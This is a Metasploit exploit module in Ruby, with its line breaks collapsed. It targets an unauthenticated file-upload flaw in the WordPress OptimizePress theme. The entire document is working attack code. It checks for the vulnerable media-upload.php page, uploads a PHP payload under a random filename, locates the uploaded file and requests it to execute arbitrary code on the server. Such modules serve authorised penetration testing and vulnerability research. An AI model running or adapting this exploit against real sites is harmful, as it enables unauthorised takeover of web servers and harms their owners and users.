## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'uri' class Metasploit3 < Msf::Exploit::Remote include Msf::HTTP::Wordpress include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress OptimizePress Theme File Upload Vulnerability', 'Description' => %q{ This module exploits a vulnerability found in the the WordPress theme OptimizePress. The vulnerability is due to an insecure file upload on the media-upload.php component, allowing an attacker to upload arbitrary PHP code. This module has been tested successfully on OptimizePress 1.45. }, 'Author' => [ 'United of Muslim Cyber Army', # Vulnerability discovery 'Mekanismen' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', "http://www.osirt.com/2013/11/wordpress-optimizepress-hack-file-upload-vulnerability/" ], [ 'WPVDB', '7441' ] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ ['OptimizePress', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 29 2013' )) register_advanced_options( [ OptString.new('THEMEDIR', [ true, 'OptimizePress Theme directory', 'OptimizePress']) ]) end def check uri = target_uri.path res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php') }) if res and res.code == 200 and res.body.to_s =~ /Upload New Image/ return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end def exploit uri = normalize_uri(target_uri.path) #get upload filepath print_status("#{peer} - Getting the upload path...") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php') }) unless res and res.code == 200 fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL") end if res.body =~ /<input name="imgpath" type="hidden" id="imgpath" value="(.*)" \/>/ file_path = $1 else fail_with(Failure::Unknown, "#{peer} - Unable to get upload filepath") end #set cookie cookie = res.get_cookies filename = rand_text_alphanumeric(8) + ".php" #upload payload post_data = Rex::MIME::Message.new post_data.add_part("<?php #{payload.encoded} ?>", "application/octet-stream", nil, "form-data; name=\"newcsimg\"; filename=\"#{filename}\"") post_data.add_part("Upload File", nil, nil, "form-data; name=\"button\"") post_data.add_part("1", nil, nil, "form-data; name=\"newcsimg\"") post_data.add_part("#{file_path}", nil, nil, "form-data; name=\"imgpath\"") print_status("#{peer} - Uploading PHP payload...") n_data = post_data.to_s res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php'), 'ctype' => 'multipart/form-data; boundary=' + post_data.bound, 'data' => n_data, 'headers' => { 'Referer' => "#{uri}/wp-content/themes/OptimizePress/lib/admin/media-upload.php" }, 'cookie' => cookie }) unless res and res.code == 200 fail_with(Failure::Unknown, "#{peer} - Unable to upload payload") end print_good("#{peer} - Payload uploaded successfully. Disclosing the payload path...") #get path to payload res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php') }) unless res and res.code == 200 fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL") end payload_url = "" if res.body =~ /name="cs_img" value="(.*#{filename}.*)" \/> <span/ payload_url =$1 else fail_with(Failure::Unknown, "#{peer} - Unable to deliver the payload") end begin u = URI(payload_url) rescue ::URI::InvalidURIError fail_with(Failure::Unknown, "#{peer} - Unable to deliver the payload, #{payload_url} isn't an URL'") end register_files_for_cleanup(File::basename(u.path)) print_good("#{peer} - Our payload is at: #{u.path}! Executing payload...") send_request_cgi({ 'method' => 'GET', 'uri' => u.path }) end end